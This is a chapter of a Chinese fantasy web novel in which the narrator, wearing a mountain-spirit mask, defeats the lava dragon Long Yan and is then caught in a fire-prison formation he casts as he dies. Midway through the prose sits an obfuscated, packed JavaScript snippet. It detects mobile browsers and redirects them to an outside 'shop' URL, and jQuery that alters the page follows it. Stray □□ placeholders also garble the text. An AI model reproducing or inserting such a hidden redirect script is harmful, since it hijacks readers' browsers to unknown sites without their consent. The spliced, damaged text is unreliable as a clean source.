反正事不可为,我索性板板正正地坐直了身子,双手揣在大腿上,苦笑着看着眼前逐渐被烧灼破开的残破法宝——虽然戴着木质面具,龙炎大概也看不到我的表情。 我闭上双眼,沉静地等待着那个最后的时间到来。 数十秒后。 滋滋滋! 伴随着一声令人牙酸的声响,宛若玻璃碎裂,又好似塑料薄膜被撕扯开,比先前更加高温高燃的空气突然间疯狂地涌进来,单凭这空气温度就一下子烧得我的周身毛发和衣服边角泛起焦黑! 我听见近在咫尺的岩浆奔涌,火焰在嘶吼,有凝聚到极致的杀意从那蛰伏的火海中向彻底失去保护罩的我扑了过来。 同一瞬间,我也再度睁开眼。 视野里净是赤色一片。 甚至有点让人分不清这颜色到底是火光映照还是我眼中的血丝所导致。 想起来了,原来我看见的“血色天空”不单纯是祸心的心灵系能力带来的古怪幻觉,而是我戴上这副山鬼面具后,眼中看到的世界就是这般血腥、扭曲。 在这千钧一发之刻,我的黑色眼仁不自觉地缩紧如一条竖线,眼白处尽数泛起血光。 生死关头,我张开了那双血色的漆黑竖瞳,凝视着骤然碎裂的【琼圆盾】和四周的火海。 浑身沐浴着残留些许岩浆液体的龙炎骤然出现在我的面前! 只见无数高温灼热的火焰和流体的岩浆共同构筑出他赤裸的上半截身子,此人的手肘往后拉,整只手臂化作金红璀璨的非人色泽,以掌代刀,就要向我的脖颈致命处斩来。 我原本规规矩矩放在腿上的左手手掌看似随意地压着,实则是在遮挡下方的右手动作。 早在盾碎的那一刻,我就伸出了右手的食指与中指合并在一起,其余三指并拢,悄无声息地捏了个瞬发的剑诀,旋即往自己所在的方向用力一勾。 ——要来了! 砰! 同样体表处在熊熊燃烧的一柄翠绿□□像是被某只无形大手所操纵,自岩浆和火海中如鱼儿一般灵动地跃出“水面”,枪尖闪现在龙炎的背后,对准他的心脏方向扎过去。 就是现在! 是的,这是我的本命法宝,【离原枪】。 先前我和鹿野一起被灵遥砸进荒地坑里时它掉落在一旁的地上,滚远了一些距离,后来也因为【琼圆盾】的保护面积有限,鹿野就没有把它一同纳入保护中。 也就是说,它一直在外头安静地待着。 而我一直等待的——也是那个让它暴起反击的时机。 无论是打斗前的闲聊、看似随意摆烂的坐姿和态度、亦或者是因为看见【琼圆盾】破裂加剧而露出的惊疑和恐惧……这些都是真的。 我是真想拖时间,真的想等鹿野他们回来,也是真的想跟龙炎聊聊人生的一些事情。 但这些行为说到底的终极目的是在麻痹敌人,我在尝试放松龙炎的紧张情绪,让他觉得我是个毫无还手之力的重伤患者,已经走投无路,最后只能摆出一副?“人为刀俎,我为鱼肉”的等死模样。 ……没错,我确实已做好今日必死的心理准备。 但是不到真正粉身碎骨的那一刻,我永远不会放弃最后的抵抗! 滋滋滋滋! 木质枪尖与岩浆铁拳重重地撞击在一起,枪头冒烟,表面发出了木头燃烧的声响。 出乎我预料的是,这致命偷袭的一枪居然被龙炎给硬生生挡住。 龙炎原地转身180°,将原本要对付我的那一记杀招紧急转攻到离原枪上,将它彻底打飞出去。 虽说戴着面具,但看着打着旋儿飞出去的□□,我还是忍不住偷偷乐了一下。 ——阿枪你起飞了诶。 不过说实话,我也不是那么意外,毕竟身为法宝主人的我如今濒死垂危,实力枯竭,它发挥不出往日里十分之一的威能也很正常。 龙炎那张布满能量纹路的怪异面孔浮现出极为兴奋的神采:“我就知道!山鬼,你根本不可能放弃挣扎——” 喂,你是敌人啊,见我垂死反抗的样子还那么开心干什么。 既然“乌龟壳”已经碎裂,龙炎本人也没有被我偷袭得手,事已至此,我也不装了! 休息那么久,就算是只剩下2%的电量,现在感觉还能再跑十公里! 于是我的身形在下一刻出现在半空中的离原枪身边,逃出岩浆区域,旋即伸出右手很自然地一把抓住这烧得通红滚烫的枪杆。 “嘶嘶嘶!好烫好烫!” 这回是真的意外发生,没想到枪杆的高温疼得我的手掌发痛。 我顿时龇牙咧嘴地把法宝扔到另外一只手上好几秒,然后再扔回来。 因为左手手心也被烫到了。 我就这样左右来回扔着自家武器,跟个街头耍杂技的江湖艺人一般,试图缓解枪杆握手处的温度。 与此同时,我无视重力条件地落在高架桥的底部墙面上,任由自己头朝下脚朝上,躲闪着火焰的追击再次开始奔跑……是的,我真正的看家本领其实不是刺杀,也不是治疗,而是逃跑。 一时间,我跑得甚至比一些想搞大新闻的西方记者还快。 “山鬼,别想逃!像个堂堂正正的武士一样跟我决一死战!” 龙炎急眼了,他立刻与那盘桓在荒地上的火海和岩浆彻底融为一体,眨眼间便化作一条通体金红、长度数十米的“岩浆之龙”。 这头元素火龙动作灵活狂暴地攀附上高架桥的桥梁,立刻追着我展开急速追杀。 不不不,我从来都不是什么武士。 而且你一个妖精渣滓社团的后辈通缉犯到底有什么资格跟我讲“武士道”精神啊? 我当年在月都走街串巷打探各地情报的时候,见识过的浪人也许比你见过得还多! 毕竟竹某人这辈子的理想就是当一个无人care的普通路人群众,在所有人注意力转移的时候突然给目标人物的心口来一下,然后就跑。 倘若有人此时从高空俯瞰,就能看见荒废工厂里这条贯穿整个地区的荒废高架桥上有一个黑点正在急速移动。 而在黑点的身后则是有着一大片汹涌奔来的岩浆和火海,非人的龙兽穿梭在人类的废弃交通道路上……仿佛这附近的哪座火山突然喷发了,以至于溢出的岩浆直接沿途摧毁熔穿了一切建筑物。 “呼……呼……” 我听见自己的呼吸声从面具底下传来,就好像一台破风箱在艰难地来回拉扯,里头发出粗重掺血的声响。 麻烦了,这样跑下去可不是办法,看来2%的生命力还是撑不了太久。 高架桥的桥面上,伴随着不断地前进,前所未有的狂风正在迎面吹来,死神的预警如影随形,我能够感觉背后都快被烧焦的那种如芒在背杀意和惊人热意。 好烦好烦好烦!这狗皮膏药一样烦人的家伙! 那么,也许只剩下……那个办法了。 其实我真的不太想用那一招。 鹿野出门都知道要带个【琼圆盾】当保命手段,昔日仇家众多的“山鬼”自然也有某种独家秘术。 我用力攥紧手中总算稍微降下一些温度的枪杆,转而跳下高架桥的半路,再次冲进那片无人的废弃厂房集群里。 砰! 我一头撞破本就有缺口的一扇窗户,径直冲进了这里头占地面积最大的一个空旷厂房里。 “豁,终于不逃了吗!” 岩浆之龙声如洪钟般质问,此时的龙炎已经化作了巨龙形态的原型妖物,用硕大无朋的躯体盘桓困住了整栋厂房的外壳。 它从天花板处的破口探头看向我,在那一对空洞巨大的金色眼眶里,有着恐怖的火焰在永恒愤怒地燃烧。 眨眼间,金红的流体岩浆从门口、窗户、墙壁上的裂缝纷纷涌入这儿,它们走到哪里,就烧到哪里。 而我也拄着枪杆站在原地直喘气,抬头直面他,明摆着是没力气再逃了。 “龙炎,考考你!答对有奖!”我叫他的名字,“你知道,我这武器为什么叫这个名字吗?” “?” 岩浆之龙明显一愣,可能是没想到我都到这个时刻了还有心情跟他玩“快问快答”游戏,当即随口回答:“出自白乐天的诗词?” “御国众”当年的内部勾心斗角是日常,但除了某些极端杀人狂,大部分妖精们也不可能天天24小时都忙着如何杀人。 所以多数成员的文化修养都不错,就连龙炎这种小妖精们当年也没少学习一些古代的著名诗文。 “没错。这世间歌颂野草的诗词不多,它算是最广为人知的其中一首。” 我微笑起来,手中的枪杆再次亮起微弱的绿光。 这一次,枪杆上那八十道如同脊椎的细密黑色纹路交错着若隐若现。 而这也是我人生中第一首学会的诗词。 记忆中,那家人关于我的讨论似乎还萦绕在耳边,仿佛一切都还是昨日之景。 【“爹,古人有没有写关于小草的什么诗词呀?我想让小毛儿来学!” “啊?可是丫头,小毛儿目前只是一棵草……也许它以后会像《聊斋》一书里说的化形成人,出落成一个水灵灵的大姑娘或者帅小伙儿。但你也不能指望它现在就能吟诗作对吧?” “先学嘛,以后的事情以后再说。说不定小毛儿明天就能开口说话了呢?” “好吧,那丫头你要好好学,好好背。自己先学会了才能去教别人,知道吗。” “知道,谢谢爹爹!”】 ——离离原上草。 那女孩天真稚嫩的嗓音依旧残留在我的记忆深处,伴随着明媚的阳光,向我诵读着千年前那位诗人留下的传世名篇。 铛! 离原枪的木质枪杆上宛若脊椎衔接处的第一道裂纹发出金石之声,它骤然消散,星星点点的灵质从中爬上我的手臂,象征着生命力的绿光浮现环绕在身侧。 “哈……” 我就好像突然被戴上了氧气面罩的垂危病人,狠狠地吸了一大口气。 铛! 第二道裂纹也消失,里面积蓄的力量与我的身体再次融为一体。 久违的众多生命力涌进体内,这种终于不是马上要死掉的舒爽感令我完全缓过劲来。 但我还嫌不够,索性激发了第三道裂纹,这一次,我的生命值终于回复到了巅峰状态。 铛!! 这声脆响回荡在烈焰灼烧的厂房里,满地的岩浆也为之兴奋到沸腾,那巨龙似乎是低沉地笑,火焰如风暴般环绕这片地区的上空。 一岁,一枯荣。 我的能力【生灵系·命源】不仅体现在“剥夺生命力”攻伐方面,更体现在“施加生命力”救援方面。 而作为我的半身兼本命法宝——【离原枪】会在每一年的年末上增长出一道裂纹,就如同大树树干里的年轮,里头会积蓄这一整年用剩下的生命力。 所以……它相当于是我的紧急充电宝。 当年在月都刺杀成功后,我尝试逃亡,结果耗尽了所有积蓄的生命力裂纹都没能扛得住会馆执行者的追杀。最后实在是重伤不敌,这才束手就擒。 而如今,这杆枪插在我的脊椎里沉寂了足足八十年。 它安静无声地重新长出对应数量的裂纹,就好像预示着我的人生道路远不止最初的那颠沛流离五十多年。 ——我已有八十年,不曾拔枪。 里面每一道裂纹的生命力尽管都不是完全满蓄的状态,但应急的话也算够用。 当岩浆迅速覆盖了厂房内部的最后一块瓷砖,有数十根巨大如藤蔓的绿草超乎人类常识地自火海中陡然生出。 我右手提枪,左手操控着众多草木的变化形态,旋即一脚踩在这被召唤出的耐火植物上,整个人升至半空中,与那同样喜不自胜的岩浆之龙遥遥对视。 “龙炎,我这就满足你,如何?” 我放声大笑,生死鏖战之际所带来的久违快意在这一刻彻底充斥着心头。 “今日之后,让我们都斩断过往的因果吧!” “好!……好啊!!” 这怪物欣喜若狂,呼声如雷,不…再顾忌任何事情,周身浮现出如陨石撞击大气层时散落的金红火雨,彻底淹没了整座工厂和附近的一大片建筑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308159|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 远处,小黑转身不断地用空间系能力给追击敌人们制造各种障碍,忽然惊呼:“火场转移到新的地区了!” “……” 鹿野没有说话,也没有回头去看。 她只是咬紧牙关,任由自己浑身大汗如雨,一味地埋头向前猛冲——而最后一个立于高炉顶端的蓝色阵眼,已经远远地出现在所有人的视野里。 ………… …… 我与这头寄住了过往恩怨的岩浆之龙的战斗来得快,去得也快。 今天都前后交手足足三趟,我们都实在是厌倦了来回试探的把戏,于是一上来就彼此开大招。 我凭空召唤出整片地区的草木,不要钱似的挥洒体内的生命力,将其催生如冲天密林一般与岩浆做对抗。 龙炎也跟一座移动的活火山那样,在那些高温热流涌现之下,将这一带工业区的所有楼房、建筑、设备尽数熔化,烧成一个个形态古怪的火山灰定格状态,仿佛是什么现代庞贝古城遗址再次复刻。 但他终究是不如我。 在战斗力挥发到极致的巅峰状态下,我是一晚上就能毁掉一个妖精结社的危险分子。 一招,就用了一招。 我们完成了对彼此的斩首。 莫名地,我突然想起前些年看过的岛国剑戟片电影——黑白荧幕上的武士们骤然拔刀,刀光交错,身形位置对调。 然后,一方倒下,另一方收刀。 不过现实中倒是没有那么艺术气息啦。 龙炎被我一枪腰斩,再也驾驭不住那片火海,任由那遍地岩浆与冲天火焰消失。 而这一枪的代价是离原枪自身也被熔断成两截。 “咳咳……不错。你比那头老狼要强。” 我提着断裂成两截的离原枪,站在已经被烧成白地的废墟之上喘着粗气,鲜血和口水混杂从微张的嘴里跌落出来。 ……看起来像是山鬼面具也在流血一样。 我之所以会突然咳血,也是因为离原枪直接断裂的缘故。作为本命法宝,它在遭到重创之际,我的本体自然也会被重伤。 虽然武器断裂,但修起来挺容易的,只要两根杆子先后往我脊椎里一插,养几个月,期间离原枪不要二次受伤,就能完全修复愈合。 所以——这场关于过去的战斗,终究是我赢了! 此时的龙炎只剩下半截躯体,双臂摊开,疲惫不堪地倒在烧成一片虚无的灰白色尘埃废墟上,看着头顶的蓝天白云发呆,也不知道在想什么。 听到这话后,此人那双已经烧穿的一对眼珠子僵硬地转向我所在的方向:“这不是,记得我师父嘛?” 我哈哈直笑:“所以先前在逗你啊!” 龙炎:“……” 几秒钟后,他忽然也笑了。那虚弱的笑容里有怅然,也有释怀。 废墟周围的岩浆和火海已经消散一空,倘若不是依旧在散发着余温的高温空气,说明此地先前极为险恶,那场激烈的战斗仿佛就是一场幻梦那样。 笑过之后,我终于觉得累了,这是使用“充电宝”的副作用,它们正在催促我付出新的代价。 ——极度的狂欢后便是极度的疲惫。 正如莎士比亚所说,所有暴虐的欢愉都将以暴虐收场。 这就是我打算给龙炎落下的最后一个人生句号。 我要结束这一切,我要杀掉这个战败之人,我要回去找鹿野和小黑,如果可以,我还要揍灵遥那老头儿一顿。 不想再拖延下去了。 于是我勉强站起身,歪歪扭扭地提着镶有枪尖的那半杆断枪走过去,枪尖在地上划出灰白的划痕与刺耳的摩擦声。 当我靠近龙炎,举枪正要结果这家伙的性命之时,他却说:“山鬼……这一次,我不会再让你逃走的。” 啊? 你这手下败将,有什么资格说这…… 此时龙炎的鼻梁上不知何时浮现出一个有划痕的、镜片有点破损的时尚女士墨镜,这墨镜的风格与这个五大三粗的汉子并不算搭调,模样很是滑稽,他的嘴角却翘了起来。 “祸心在死前看清楚了你的内心,然后告知于我——那场空袭带来的火狱,也夺走你的亲人们,对吧?” 我神色骤然一变。 这个墨镜……是祸心生前戴过的! 我之前因为偷袭而无意间打落它,那抠门老太婆还恼火地骂了我两句。 它如今散发出了最后一缕淡淡的法术波动,好家伙,这玩意儿如果不是祸心生前使用的法宝的话,水平也差不多了。 反正不是凡物! 我不知道龙炎要干什么,但用膝盖思考都能知道,他此时一定在干一件非常危险、对我而言极度不利的事情。 我以最快速度直接一□□入他的胸膛,这种程度的致命伤下,鲜血流出,星星点点的灵质以肉眼可见的速度在逸散。 但是这个男人不挣扎,不抵抗,只是戴着那副可笑的女式墨镜,满脸微笑着看向我…… 下一秒,有复杂到我无法理解的阵法符文如黑红的水流密密麻麻地从他的胸膛伤口处涌出! 【“既然已经布下了[断金阵],为什么不再布下[绝木阵]!”】 【“你这门外汉!……‘君臣佐使’这个说法听过吗?[断金阵]就是那‘君主’的地位,顶多再布置几个别的辅助阵法……”】 我想起来了。 先前的人群中,只有龙炎向阵法师鹤天请教了这个问题,而鹤天也很不耐烦地回答了他。 而在最后分开之际,老头儿无言而沉重地拍打着这家伙的肩膀,大概已经知晓龙炎垂死之际会做什么了。 龙炎从一开始就计划好了,如果他战败并不幸死去的话,费尽最后一口气也要坑我一把。 ——这个妖精如今要以自身为阵眼,设下一座火狱辅阵,把我困在里头一并活活烧死! 我拔腿就要往外跑,偏偏那些漆黑符文好似有着超强黏性,直接黏住我的双腿和脚掌,让我无法逃脱。 一时间,我真的是急了,想要用【离原枪】再次切断自己的双腿。 这个辅阵来者不善,再不跑就来不及—— 气若游丝的龙炎轻轻抬起唯一能动的一根手指,颤抖地点了点地上游走扩散的阵法符文,一簇金色火苗瞬间将其点燃。 刹那间,新的火海炼狱张开,完成扩散,扩张速度快到不可思议,整座阵法就在眨眼间全部形成! “山鬼啊,请您见证!” 他低沉虚弱的声音挣扎着回荡在这片再度燃烧、不肯熄灭的金红火海中。 “——我等‘御国众’……最后的……” 龙炎彻底死了。 他的灵与这座火狱辅阵彻底融为一体。 我脑袋一片空白,下意识地跳上一截残存的断裂墙壁柱子上方,环顾四周,惊恐地发现目之所及都是滔天火海。 脑门上的汗水直直地滴落在衣服上和下方的火焰里,我一时间恐惧得浑身都在颤抖。 完蛋了。 彻底完蛋了! 想出去就必须先破阵。 但问题在于,这个火狱辅阵,已经没有阵眼可以破开了! 它唯一的“阵眼”就是刚刚才死去的龙炎。 我怎么可能杀一个人两次? ——这座火狱阵法,对我而言,再无任何解题思路。